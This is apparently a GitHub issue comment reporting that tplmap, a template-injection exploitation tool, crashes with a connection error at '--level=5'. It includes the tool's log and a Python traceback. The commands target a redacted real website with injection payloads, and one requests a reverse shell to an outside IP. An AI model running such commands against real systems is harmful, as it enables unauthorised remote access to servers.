lacroutelacroute
commented
7 years ago more info :/opt/tplmap/tplmap$ sudo python ./tplmap.py -u "https://www.xxxx.de/bxxxxxr/hxxxxg/ixxo/?query=555-555-0199@example.compovjk2\z\`z'z"\" --level=5 -e mako --reverse-shell 82.246.2. 64917 [sudo] Mot de passe de fakessh : [+] Tplmap 0.3 Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'query' is injectable
[+] Mako plugin is testing rendering with tag '${}'
[+] Mako plugin is testing } code context escape with 130 variations
[+] Mako plugin is testing %>*<%# code context escape with 130 variations
[!][tplmap] Exiting: ('Connection aborted.', BadStatusLine("''",))
Traceback (most recent call last):
File "./tplmap.py", line 26, in
epinna
hello admin iam whitehat member of bugbounty website
I systematically encounter the same error when I use the scanner with the option --level=5 in any case on this website with this option level=5 fatal error every time install up to date on the scrach
/opt/tplmap/tplmap$ sudo python ./tplmap.py -u "https://www.xxxx.de/axxxe/?JSESSIONID=$%7b144*5%7d" --level=5[+] Tplmap 0.3 Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'JSESSIONID' is injectable [+] Smarty plugin is testing rendering with tag '{}' [+] Smarty plugin is testing }{ code context escape with 65 variations [+] Smarty plugin is testing }{/if}{if 1} code context escape with 65 variations [+] Smarty plugin is testing var="" value=""}{assign var="" value=""} code context escape with 65 variations [+] Smarty plugin is testing blind injection [+] Smarty plugin is testing }{ code context escape with 65 variations [+] Smarty plugin is testing }{/if}{if 1} code context escape with 65 variations [+] Smarty plugin is testing var="" value=""}{assign var="" value=""} code context escape with 65 variations [+] Mako plugin is testing rendering with tag '${}' [+] Mako plugin is testing } code context escape with 130 variations [+] Mako plugin is testing %><%# code context escape with 130 variations [+] Mako plugin is testing #\n\n code context escape with 130 variations [+] Mako plugin is testing </%def><%def name="t(x)"> code context escape with 130 variations [+] Mako plugin is testing </%block><%block> code context escape with 130 variations [+] Mako plugin is testing </%text><%text> code context escape with 130 variations [+] Mako plugin is testing blind injection [+] Mako plugin is testing } code context escape with 130 variations [+] Mako plugin is testing %><%# code context escape with 130 variations [+] Mako plugin is testing #\n\n code context escape with 130 variations [+] Mako plugin is testing </%def><%def name="t(x)"> code context escape with 130 variations [+] Mako plugin is testing </%block><%block> code context escape with 130 variations [+] Mako plugin is testing </%text><%text> code context escape with 130 variations [!][tplmap] Exiting: ('Connection aborted.', BadStatusLine("''",)) Traceback (most recent call last): File "./tplmap.py", line 26, in
main()
File "./tplmap.py", line 19, in main
checks.check_template_injection(Channel(args))
File "/opt/tplmap/tplmap/core/checks.py", line 135, in check_template_injection
current_plugin = detect_template_injection(channel)
File "/opt/tplmap/tplmap/core/checks.py", line 126, in detect_template_injection
current_plugin.detect()
File "/opt/tplmap/tplmap/core/plugin.py", line 100, in detect
self._detect_blind()
File "/opt/tplmap/tplmap/core/plugin.py", line 226, in _detect_blind
blind = True
File "/opt/tplmap/tplmap/core/plugin.py", line 610, in evaluate_blind
blind=True
File "/opt/tplmap/tplmap/core/plugin.py", line 546, in evaluate
blind = blind
File "/opt/tplmap/tplmap/core/plugin.py", line 363, in render
blind = blind
File "/opt/tplmap/tplmap/core/plugin.py", line 304, in inject
self.channel.req(injection)
File "/opt/tplmap/tplmap/core/channel.py", line 285, in req
verify = False
File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 56, in request
return session.request(method=method, url=url, kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 488, in request
resp = self.send(prep, send_kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 609, in send
r = adapter.send(request, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/adapters.py", line 473, in send
raise ConnectionError(err, request=request)
requests.exceptions.ConnectionError: ('Connection aborted.', BadStatusLine("''",))
fakessh@fakessh:/opt/tplmap/tplmap$